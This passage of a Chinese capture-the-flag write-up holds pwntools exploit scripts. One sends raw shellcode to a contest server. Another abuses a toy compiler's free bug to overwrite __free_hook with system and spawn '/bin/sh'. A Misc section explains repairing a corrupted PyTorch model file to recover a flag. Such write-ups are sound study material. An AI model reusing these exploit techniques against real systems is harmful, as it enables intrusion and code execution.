payload += asm("mov [rbx+r9-0xfff], r8")
payload += asm("mov [rbx-1], al")
payload += asm("push rcx")
payload += asm("pop rcx")
payload += asm("syscall")
payload += asm("jmp $-2994") # jmp xor
return payload


def main():
global p
p = remote("39.97.171.121", "40001")
payload = b''
payload += b'H\x8b\xbc$\xe8\x00\x00\x00H\x81\xc7G&\x00\x00H\x8b?H\x81\xe7\xff\x00\x00\x00I\xba\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xccI\xb8\x90\x90\x90\x90\x90\x90\x90\x90H\x89\xd3H\x81\xc3\xff\x0f\x00\x00H\x8dt$\xf8H1\xc0\xfe\xc0H1\xd2f\xff\xc2H1\xc9\x88\x0b\xe9g\x0b\x00\x00\xfe\xc1\xeb\xf5'
payload = payload.ljust(3000, b'\x90')
payload += b'I\xc7\xc4\x00\x00\x10\x00I\xff\xccI\x83\xfc\x00u\xf7M1\xc9N\x8b\x9c\x0b\x01\xf0\xff\xffM9\xd3t\x12I\x83\xc1\x08I\x81\xf9\x00\x10\x00\x00u\xe6\xe9g\xf4\xff\xffN\x89\x84\x0b\x01\xf0\xff\xff\x88C\xffQY\x0f\x05\xe9I\xf4\xff\xff'
payload = payload.ljust(4094, b'\x90')

p.sendlineafter("INPUT YOUR TOKEN:", "icq21f68171d546aaaf1a01f61203cc8")
p.sendafter("Round", payload)
for i in range(1, 128):
t_str = None
t_str = p.recvuntil("Round:\t%d\n"%i, timeout=6)
print(t_str)
if t_str == None or b"Round" not in t_str:
raise
log.info("Round ================> %d"%i)
p.interactive()

def exploit():
cnt = 0
global p
while True:
cnt += 1
log.info("============================= Round %d ==========================="%cnt)
try:
main()
except Exception as e:
print(e)
p.close()
log.failure("Failed this time")
sleep(80)


if __name__ == "__main__":
exploit()

ParseC

https://wizardforcel.gitbooks.io/diy-c-compiler/content/2.html

貌似找到了原项目 先分析一波

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union {
char* funcp; // pointer to an array or an function
struct symStruct* list;
} pointer;


....

match('=');
if (token == Str) {
if (s->pointer.funcp)
//这个union可利用
free(s->pointer.funcp);
s->pointer.funcp = (char*)token_val.ptr;
s->type = StrSym;
match(Str);


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p=remote('123.57.4.93','34007')
lgot,lplt,lsymbol =r.load('2.27',serial='3u12',mmap=1)
rn = lambda n : p.recv(n)
rc = lambda : p.recv()
ru = lambda s :p.recvuntil(s)
rl = lambda : p.recvline()
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
sa = lambda r,s : p.sendafter(r,s)
sla = lambda r,s : p.sendlineafter(r,s)
act=lambda:p.interactive()
# r.bp(0x4012DE,0x401F50,cmd={'c':8}) # malloc free
ss=f'''
puts("fh");
read(fhoff);
puts("sys");
read(sysoff);
pad="{"/bin/sh;"+"1"*0x28}";
a="{"1"*0x7f}";
b="{"1"*0x40}";
c="1";
c0=c;
c1=c;
c2=c;
c0="{"1"*0x20}";
c1="{"1"*0x20}";
c2="{"1"*0x20}";
b0=a;
b1=a;
b2=a;
b3=a;
b4=a;
b5=a;
b6=a;
b7=a;
b0="{"x"*0x30}";
b1="{"x"*0x30}";
b2="{"x"*0x30}";
b3="{"x"*0x30}";
b4="{"x"*0x30}";
b5="{"x"*0x30}";
b6="{"x"*0x30}";
b7="{"x"*0x30}";
aa="{"x"*0x50}";
c0=b;
c1=b;
c2=b;
c0="{"1"*0x70}";
c1="{"1"*0x70}";
c2="{"1"*0x70}";

array d(2);
d[1]=d[1]+fhoff;
k=d[1];
e0="p";
e1="H";
e2="H";
array ar(1);
array ar1(1);
array ar2(1);
ar2[0]=k-sysoff;
pad="1"
'''
ss=ss.encode('utf-8')
sla('base64:',base64.b64encode(ss))
sa('fh','3.54146254939005522E-320')
sa('sys','1.87442972496935516E-317')
p.interactive()

Misc

torch model

模型代码在ipynb里面,pt是模型数据

网络模型:卷积→池化→卷积→全连接→全连接→全连接

实现tuanzi.jpg到flag的映射

最后对model_state_dict.pt加了一点干扰,用随机数抹掉了0x90~0x4ef的数据,可能是和模型结构有关的东西

参考serialization.py,模型数据分为三个部分,通过数组存储网络参数

第一部分包含各个数组的名称和结构类型

第二部分包含各个数组内容在文件中的存储顺序

第三部分包含各个数组的内容

其中被随机数抹掉的是第一部分

注意到这里序列化的代码被修改过了,所以需要通过第三部分中标记数据块大小的size来判定对应的哪个数组,可以自己先跑个数据样本对照着看

样本中的对照表:

name key size
conv1.weight 2140555819088 7e0900
conv1.bias 2140555821968 0a0000
conv2.weight 2140555819184 483f00
conv2.bias 2140555821104 140000
fc1.weight 2140555818224 60cc1e
fc1.bias 2140555821392 780000
fc2.weight 2140555821584 602700
fc2.bias 2140555817360 540000
fc3.weight 2140555817648 900600
fc3.bias 2140555817456 140000

题目中size出现的顺序以及对应的key:

size key
780000 2140555821392
900600 2140555817648
540000 2140555817360
7e0900 2140555819088
0a0000 2140555821968
483f00 2140555819184
602700 2140555821584
140000 2140555821104
60cc1e 2140555818224
140000 2140555817456

先用样本中的header去替换题目中的header,再按照size出现的顺序填写第二部分的key就可以了

最后跑一下导入的模型数据就可以得到flag

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#include <cstdio>
unsigned char flag[]={106, 20, 226, 32, 243, 233, 36, 35, 214, 74, 235, 186, 231, 110, 72, 239, 101, 151, 236, 49};
int main(){
printf("flag{");
for (int i=0;i<sizeof(flag);i++)
printf("%x",flag[i]);
printf("}");
}